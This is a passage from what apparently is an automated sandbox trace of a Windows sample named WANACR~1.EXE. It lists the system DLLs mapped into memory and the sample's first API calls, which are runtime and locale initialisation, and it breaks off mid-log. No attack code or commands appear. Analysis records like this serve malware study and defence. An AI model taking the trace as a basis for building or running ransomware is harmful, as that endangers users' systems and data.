filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 2258 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2259 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2260 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2261 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2262 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2263 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2264 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2265 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 2266 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2267 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2268 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2269 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2270 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2271 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2272 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2273 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2274 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2275 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2276 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2277 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2278 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2279 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2280 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2281 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2282 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2283 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2284 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 2285 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2286 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2287 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2288 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2289 start_va = 0x10f3e70000 end_va = 0x10f3e71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3e70000" filename = "" Region: id = 2290 start_va = 0x10f5750000 end_va = 0x10f575ffff entry_point = 0x0 region_type = private name = "private_0x00000010f5750000" filename = "" Region: id = 2291 start_va = 0x10f5640000 end_va = 0x10f56f9fff entry_point = 0x10f566c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2292 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2293 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2294 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2295 start_va = 0x10f3a60000 end_va = 0x10f3a60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3a60000" filename = "" Region: id = 2296 start_va = 0x10f5640000 end_va = 0x10f572ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f5640000" filename = "" Region: id = 2297 start_va = 0x10f3a60000 end_va = 0x10f3a63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3a60000" filename = "" Region: id = 2298 start_va = 0x10f3e80000 end_va = 0x10f3e86fff entry_point = 0x0 region_type = private name = "private_0x00000010f3e80000" filename = "" Region: id = 2299 start_va = 0x10f5760000 end_va = 0x10f585ffff entry_point = 0x0 region_type = private name = "private_0x00000010f5760000" filename = "" Region: id = 2300 start_va = 0x10f5860000 end_va = 0x10f5960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f5860000" filename = "" Region: id = 2301 start_va = 0x10f3e90000 end_va = 0x10f3e90fff entry_point = 0x0 region_type = private name = "private_0x00000010f3e90000" filename = "" Region: id = 2302 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2303 start_va = 0x10f5860000 end_va = 0x10f5b34fff entry_point = 0x10f5860000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2304 start_va = 0x10f3ea0000 end_va = 0x10f3ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3ea0000" filename = "" Region: id = 2305 start_va = 0x10f3eb0000 end_va = 0x10f3eb0fff entry_point = 0x0 region_type = private name = "private_0x00000010f3eb0000" filename = "" Region: id = 2306 start_va = 0x10f5b40000 end_va = 0x10f6031fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f5b40000" filename = "" Region: id = 2307 start_va = 0x10f6040000 end_va = 0x10f6eaffff entry_point = 0x10f6040000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2308 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2309 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2310 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2311 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2312 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2313 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2314 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2315 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2316 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2317 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2318 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2319 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2320 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2321 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2322 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2323 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2324 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2325 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2326 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2327 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2328 start_va = 0x10f3ec0000 end_va = 0x10f3ec0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3ec0000" filename = "" Region: id = 2329 start_va = 0x10f6eb0000 end_va = 0x10f70c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f6eb0000" filename = "" Region: id = 2330 start_va = 0x10f70d0000 end_va = 0x10f9f65fff entry_point = 0x10f70d0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 2331 start_va = 0x10f3ec0000 end_va = 0x10f3ec2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3ec0000" filename = "" Region: id = 2332 start_va = 0x10f3ed0000 end_va = 0x10f3ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3ed0000" filename = "" Region: id = 2333 start_va = 0x10f9f70000 end_va = 0x10fa369fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f9f70000" filename = "" Region: id = 2334 start_va = 0x10fa370000 end_va = 0x10fa3b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010fa370000" filename = "" Region: id = 2335 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2336 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2337 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2350 start_va = 0x10f3ee0000 end_va = 0x10f3f04fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000010f3ee0000" filename = "" Thread: id = 142 os_tid = 0xa80 [0047.461] GetStartupInfoW (in: lpStartupInfo=0x10f397fa30 | out: lpStartupInfo=0x10f397fa30*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0047.461] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0047.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0047.462] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0047.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0047.464] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0047.464] GetCurrentThreadId () returned 0xa80 [0047.464] GetStartupInfoW (in: lpStartupInfo=0x10f397fa20 | out: lpStartupInfo=0x10f397fa20*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0x10f3a85510)) [0047.464] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.464] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.464] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.464] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0047.464] GetEnvironmentStringsW () returned 0x10f3a864a0* [0047.464] FreeEnvironmentStringsW (penv=0x10f3a864a0) returned 1 [0047.464] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0047.465] GetLastError () returned 0x0 [0047.465] SetLastError (dwErrCode=0x0) [0047.465] GetLastError () returned 0x0 [0047.465] SetLastError (dwErrCode=0x0) [0047.465] GetLastError () returned 0x0 [0047.465] SetLastError (dwErrCode=0x0) [0047.465] GetACP () returned 0x4e4 [0047.465] GetLastError () returned 0x0 [0047.465] SetLastError (dwErrCode=0x0) [0047.465] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.465] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x10f397f990 | out: lpCPInfo=0x10f397f990) returned 1 [0047.465] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x10f397f430 | out: lpCPInfo=0x10f397f430) returned 1 [0047.465] GetLastError () returned 0x0 [0047.465] SetLastError (dwErrCode=0x0) [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x10f397f130, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʭ꟨న") returned 256 [0047.465] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿʭ꟨న", cchSrc=256, lpCharType=0x10f397f750 | out: lpCharType=0x10f397f750) returned 1 [0047.465] GetLastError () returned 0x0 [0047.466] SetLastError (dwErrCode=0x0) [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x10f397f120, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0047.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 